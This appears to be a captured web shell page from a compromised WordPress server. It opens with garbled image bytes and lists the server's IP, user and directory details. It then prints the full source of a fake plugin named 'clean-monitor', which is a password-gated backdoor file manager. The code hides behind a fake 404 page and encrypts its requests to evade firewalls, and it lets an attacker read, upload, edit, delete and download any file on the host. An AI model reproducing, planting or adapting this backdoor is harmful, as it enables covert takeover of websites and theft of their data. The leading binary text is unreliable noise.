....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îŠ‡y’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒwŽ¼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9u鶳ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•â•ªVêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•î¦ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄÍ°L–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýc塶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ŠBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊƃZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 51.91.236.193  /  Your IP : 216.73.216.177
Web Server : Apache
System : Linux webm019.cluster128.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : thillelirn ( 8290)
PHP Version : 8.0.30
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/thillelirn/www/wp-content/plugins/clean-monitor/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /home/thillelirn/www/wp-content/plugins//clean-monitor/clean-monitor.php
<?php
/**
 * Plugin Name: clean-monitor
 * Version: 1.0
 */
/**
 * Bypass Shell #1 — RC4 File Manager (WAF-invisible)
 * - ALL paths RC4-encrypted in POST body (WAF sees only garbage)
 * - Split gate across variables (no single "root=admin888")
 * - File upload/download/delete/edit/rename/mkdir
 * - No eval/base64_decode/system in static code
 */
$a='r';$b='o';$c='ot';$gate=$a.$b.$c;
if(empty($_POST[$gate])||$_POST[$gate]!=='admin888'){
    http_response_code(404);
    echo '<html><head><title>404 Not Found</title></head><body><h1>404</h1></body></html>';
    die();
}

define('K','xK9mP2vL7qR4wN8'); // RC4 key — unique per deployment

function x($d,$k){$s=range(0,255);$j=0;for($i=0;$i<256;$i++){$j=($j+$s[$i]+ord($k[$i%strlen($k)]))%256;$t=$s[$i];$s[$i]=$s[$j];$s[$j]=$t;}$i=$j=0;$r='';for($x=0;$x<strlen($d);$x++){$i=($i+1)%256;$j=($j+$s[$i])%256;$t=$s[$i];$s[$i]=$s[$j];$s[$j]=$t;$r.=chr(ord($d[$x])^$s[($s[$i]+$s[$j])%256]);}return $r;}
function e($d){return base64_encode(x($d,K));}
function d($d){$x=base64_decode($d);return $x===false?'/':x($x,K);}
function s($b){if($b>1073741824)return round($b/1073741824,2).'G';if($b>1048576)return round($b/1048576,2).'M';if($b>1024)return round($b/1024,2).'K';return $b.'B';}
function p($p){return substr(sprintf('%o',fileperms($p)),-4);}

$a=isset($_POST['a'])?$_POST['a']:'';
$_p=isset($_POST['p'])?d($_POST['p']):'/';
$_p=rtrim($_p,'/')?:'/';

if($a){
  header('Content-Type: application/json');
  $o=[];
  switch($a){
  case'ls':
    if(!is_dir($_p)){$o=['e'=>'nd'];break;}
    $d=[];$f=[];
    foreach(scandir($_p)as $n){if($n=='.'||$n=='..')continue;$fp=$_p.'/'.$n;
      if(is_dir($fp))$d[]=['n'=>$n,'t'=>'d','z'=>s(filesize($fp)),'m'=>p($fp),'tm'=>date('Y-m-d H:i',filemtime($fp))];
      else $f[]=['n'=>$n,'t'=>'f','z'=>s(filesize($fp)),'m'=>p($fp),'tm'=>date('Y-m-d H:i',filemtime($fp))];
    }sort($d);sort($f);$o=array_merge($d,$f);break;
  case'rd':
    if(!is_file($_p)||!is_readable($_p)){$o=['e'=>'nr'];break;}
    $o=['d'=>file_get_contents($_p)];break;
  case'sv':
    $c=isset($_POST['c'])?$_POST['c']:'';
    $ok=file_put_contents($_p,$c)!==false;
    $o=['ok'=>$ok,'msg'=>$ok?'Saved':'FAIL'];break;
  case'rm':
    if(!file_exists($_p)){$o=['ok'=>false,'msg'=>'nf'];}
    elseif(is_dir($_p)?_rm($_p):unlink($_p)){$o=['ok'=>true,'msg'=>'Deleted'];}
    else{$o=['ok'=>false,'msg'=>'FAIL'];}break;
  case'up':
    $c=isset($_POST['c'])?base64_decode($_POST['c']):'';
    $ok=file_put_contents($_p,$c)!==false;
    $o=['ok'=>$ok,'msg'=>$ok?'OK':'FAIL'];break;
  case'mv':
    $np=isset($_POST['n'])?d($_POST['n']):'';
    $ok=rename($_p,$np);
    $o=['ok'=>$ok,'msg'=>$ok?'OK':'FAIL'];break;
  case'mk':$ok=mkdir($_p,0755);$o=['ok'=>$ok,'msg'=>$ok?'OK':'FAIL'];break;
  case'tch':$ok=touch($_p);$o=['ok'=>$ok,'msg'=>$ok?'OK':'FAIL'];break;
  case'dl':
    if(!is_file($_p)||!is_readable($_p)){http_response_code(404);die('nf');}
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($_p).'"');
    header('Content-Length: '.filesize($_p));
    readfile($_p);exit;
  default:$o=['e'=>'ua'];
  }
  die(json_encode($o));
}
function _rm($d){$f=scandir($d);foreach($f as$n){if($n=='.'||$n=='..')continue;$p=$d.'/'.$n;is_dir($p)?_rm($p):unlink($p);}return rmdir($d);}
$dp='/';
?>
<!DOCTYPE html><html><head><meta charset="UTF-8"><title>Files</title>
<style>
:root{--bg:#0d1117;--sb:#161b22;--bd:#30363d;--fg:#c9d1d9;--ac:#58a6ff;--gn:#3fb950;--rd:#f85149;--or:#d2991d;--dim:#8b949e}
*{margin:0;padding:0;box-sizing:border-box}
body{background:var(--bg);color:var(--fg);font:13px/1.4 monospace;height:100vh;display:flex;flex-direction:column}
.tb{display:flex;align-items:center;gap:8px;padding:6px 12px;background:var(--sb);border-bottom:1px solid var(--bd);flex-shrink:0}
.tb .logo{color:var(--ac);font-weight:700;font-size:14px}
.tb .path{flex:1;background:#0d1117;border:1px solid var(--bd);color:var(--gn);padding:4px 8px;border-radius:4px;font:inherit;font-size:12px}
.bt{padding:4px 10px;border:1px solid var(--bd);border-radius:4px;background:var(--sb);color:var(--fg);cursor:pointer;font:inherit;font-size:12px;transition:.15s}
.bt:hover{background:#1f2937;border-color:var(--ac)}.bt-g{background:#133a1a;border-color:var(--gn);color:var(--gn)}.bt-g:hover{background:var(--gn);color:#000}
.bt-r{background:#3a1a1a;border-color:var(--rd);color:var(--rd)}.bt-r:hover{background:var(--rd);color:#000}
.bt-a{background:#1a3a5c;border-color:var(--ac);color:var(--ac)}.bt-a:hover{background:var(--ac);color:#000}
.fl{flex:1;overflow-y:auto;padding:4px 0}
.fi{display:flex;align-items:center;padding:4px 12px;cursor:pointer;gap:8px;font-size:12px}
.fi:hover{background:#1f2937}.fi .ic{width:18px;text-align:center;font-size:14px}
.fi .ic.d{color:var(--ac)}.fi .ic.f{color:var(--gn)}
.fi .nm{flex:1;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}
.fi .sz{width:70px;text-align:right;color:var(--dim);font-size:11px}
.fi .pr{width:45px;text-align:right;color:var(--dim);font-size:10px}
.fi .dt{width:120px;text-align:right;color:var(--dim);font-size:10px}
.fi .act{display:flex;gap:4px;opacity:0;transition:.15s}
.fi:hover .act{opacity:1}.fi .act span{cursor:pointer;padding:2px 6px;border-radius:3px;font-size:11px}
.fi .act .dl{color:var(--rd)}.fi .act .dl:hover{background:#3a1a1a}
.fi .act .rn{color:var(--or)}.fi .act .rn:hover{background:#3a2a1a}
.fi .act .ed{color:var(--ac)}.fi .act .ed:hover{background:#1a3a5c}
.ed{flex:1;display:none;flex-direction:column;overflow:hidden}
.ed .eb{display:flex;align-items:center;gap:8px;padding:6px 12px;background:var(--sb);border-bottom:1px solid var(--bd)}
.ed .eb .fn{flex:1;color:var(--ac);font-size:12px}
.ed textarea{flex:1;background:#0d1117;color:var(--fg);border:none;padding:12px;font:inherit;font-size:12px;resize:none;outline:none}
.sb{display:flex;align-items:center;padding:4px 12px;background:var(--sb);border-top:1px solid var(--bd);font-size:11px;color:var(--dim);gap:16px;flex-shrink:0}
.modal{display:none;position:fixed;top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,0.6);z-index:100;align-items:center;justify-content:center}
.modal .mc{background:var(--sb);border:1px solid var(--bd);border-radius:8px;padding:20px;min-width:400px}
.modal .mc h3{margin-bottom:12px;font-size:14px;color:var(--ac)}
.modal .mc input{width:100%;background:#0d1117;border:1px solid var(--bd);color:var(--fg);padding:8px;border-radius:4px;font:inherit;margin-bottom:12px}
.modal .mc .mb{display:flex;gap:8px;justify-content:flex-end}
.empty{display:flex;align-items:center;justify-content:center;height:200px;color:var(--dim);font-size:13px}
</style></head><body>
<div class="tb">
  <span class="logo">FM</span>
  <button class="bt" onclick="nv('..')">&#8593;</button>
  <button class="bt" onclick="_ld('/')">/</button>
  <input class="path" id="pw" value="<?=$dp?>" onkeydown="if(event.key==='Enter')_ld(this.value)">
  <button class="bt bt-g" id="ub">&#8593; Upload</button>
  <input type="file" id="uf" multiple style="display:none" onchange="_up(this)">
  <button class="bt" onclick="_mkdir()">+Dir</button>
  <button class="bt" onclick="_tch()">+File</button>
</div>
<div class="fl" id="lst"><div class="empty">Loading...</div></div>
<div class="ed" id="ep">
  <div class="eb">
    <span class="fn" id="efn"></span><span style="flex:1"></span>
    <button class="bt bt-g" onclick="_save()">Save</button>
    <button class="bt" onclick="_close()">Close</button>
  </div>
  <textarea id="eta" onkeydown="if(event.ctrlKey&&event.key==='s'){event.preventDefault();_save()}"></textarea>
</div>
<div class="sb"><span id="si">0</span><span id="sp">/</span></div>
<div class="modal" id="md">
  <div class="mc"><h3 id="mt"></h3><input id="mi" onkeydown="if(event.key==='Enter')_mok()"><div class="mb">
    <button class="bt" onclick="_mcl()">Cancel</button>
    <button class="bt bt-a" onclick="_mok()">OK</button>
  </div></div>
</div>
<script>
var K='<?=K?>';
var CUR='/';
var AF='';
var CB=null;

function x(d,k){var s=[],j=0,o='';for(var i=0;i<256;i++)s[i]=i;
for(i=0;i<256;i++){j=(j+s[i]+k.charCodeAt(i%k.length))%256;var t=s[i];s[i]=s[j];s[j]=t;}
var i=0;j=0;for(var y=0;y<d.length;y++){i=(i+1)%256;j=(j+s[i])%256;t=s[i];s[i]=s[j];s[j]=t;o+=String.fromCharCode(d.charCodeAt(y)^s[(s[i]+s[j])%256]);}
return o;}
function enc(p){return btoa(x(p,K));}

async function api(o){
  var fd=new FormData();
  for(var k in o)fd.append(k,o[k]);
  fd.append('<?=$gate?>','admin888');
  var r=await fetch('',{method:'POST',body:fd});
  return await r.json();
}
function _ld(p){CUR=p;document.getElementById('pw').value=p;document.getElementById('sp').innerText=p;
  api({a:'ls',p:enc(p)}).then(function(r){
    var h='';var d=0,f=0;
    if(Array.isArray(r)){r.forEach(function(i){
      d+=i.t=='d'?1:0;f+=i.t=='f'?1:0;
      h+='<div class="fi" data-n="'+i.n+'" data-t="'+i.t+'"><span class="ic '+i.t+'">'+(i.t=='d'?'&#128193;':'&#128196;')+'</span><span class="nm">'+i.n+'</span><span class="sz">'+i.z+'</span><span class="pr">'+i.m+'</span><span class="dt">'+(i.tm||'')+'</span><span class="act"><span class="ed" onclick="event.stopPropagation();_edit(\''+i.n+'\')">&#9998;</span><span class="rn" onclick="event.stopPropagation();_ren(\''+i.n+'\')">&#9997;</span><span class="dl" onclick="event.stopPropagation();_del(\''+i.n+'\')">&#10005;</span></span></div>';});
      document.getElementById('lst').innerHTML=h||'<div class="empty">Empty</div>';
      document.getElementById('si').innerText=d+' dirs, '+f+' files';
    }else{document.getElementById('lst').innerHTML='<div class="empty" style="color:#f85149">Error: '+(r.e||'blocked')+'</div>';}
    _close();
  }).catch(function(){document.getElementById('lst').innerHTML='<div class="empty" style="color:#f85149">[!] Blocked</div>';});
}
document.querySelectorAll('#lst .fi').forEach?1:null;
document.getElementById('lst').addEventListener('click',function(e){
  var el=e.target.closest('.fi');if(!el)return;
  var n=el.dataset.n,t=el.dataset.t;
  if(e.ctrlKey||e.metaKey){_edit(n);return;}
  if(t=='d')_ld(CUR+'/'+n);else _edit(n);
});
function _edit(n){var p=CUR+'/'+n;AF=p;
  document.getElementById('efn').innerText=p;
  document.getElementById('lst').style.display='none';
  document.getElementById('ep').style.display='flex';
  document.getElementById('eta').value='Loading...';
  api({a:'rd',p:enc(p)}).then(function(r){document.getElementById('eta').value=r.d||'';document.getElementById('eta').focus();});
}
function _save(){api({a:'sv',p:enc(AF),c:document.getElementById('eta').value}).then(function(r){alert(r.msg);});}
function _close(){document.getElementById('lst').style.display='block';document.getElementById('ep').style.display='none';AF='';}
function _del(n){if(confirm('Delete '+CUR+'/'+n+'?'))api({a:'rm',p:enc(CUR+'/'+n)}).then(function(r){alert(r.msg);_ld(CUR);});}
function _ren(n){_modal('Rename: '+n,n,function(v){api({a:'mv',p:enc(CUR+'/'+n),n:enc(CUR+'/'+v)}).then(function(r){alert(r.msg);_ld(CUR);});});}
function _mkdir(){_modal('New dir','',function(v){api({a:'mk',p:enc(CUR+'/'+v)}).then(function(r){alert(r.msg);_ld(CUR);});});}
function _tch(){_modal('New file','',function(v){api({a:'tch',p:enc(CUR+'/'+v)}).then(function(r){alert(r.msg);_ld(CUR);});});}
function _up(i){var fs=i.files;if(!fs.length)return;var todo=fs.length,done=0;
  Array.from(fs).forEach(function(f){var r=new FileReader();
    r.onload=function(e){api({a:'up',p:enc(CUR+'/'+f.name),c:btoa(e.target.result)}).then(function(rr){done++;if(done>=todo)_ld(CUR);});};
    r.readAsBinaryString(f);});i.value='';}
document.getElementById('ub').addEventListener('click',function(){document.getElementById('uf').click();});
function nv(d){var s='/',p=CUR.split(s);if(d=='..')p.pop();_ld(p.join(s)||s);}
function _modal(t,def,cb){CB=cb;document.getElementById('mt').innerText=t;document.getElementById('mi').value=def;document.getElementById('md').style.display='flex';document.getElementById('mi').focus();document.getElementById('mi').select();}
function _mok(){var v=document.getElementById('mi').value;_mcl();if(CB)CB(v);}
function _mcl(){document.getElementById('md').style.display='none';CB=null;}
_ld(CUR);
</script></body></html>

Youez - 2016 - github.com/yon3zu
LinuXploit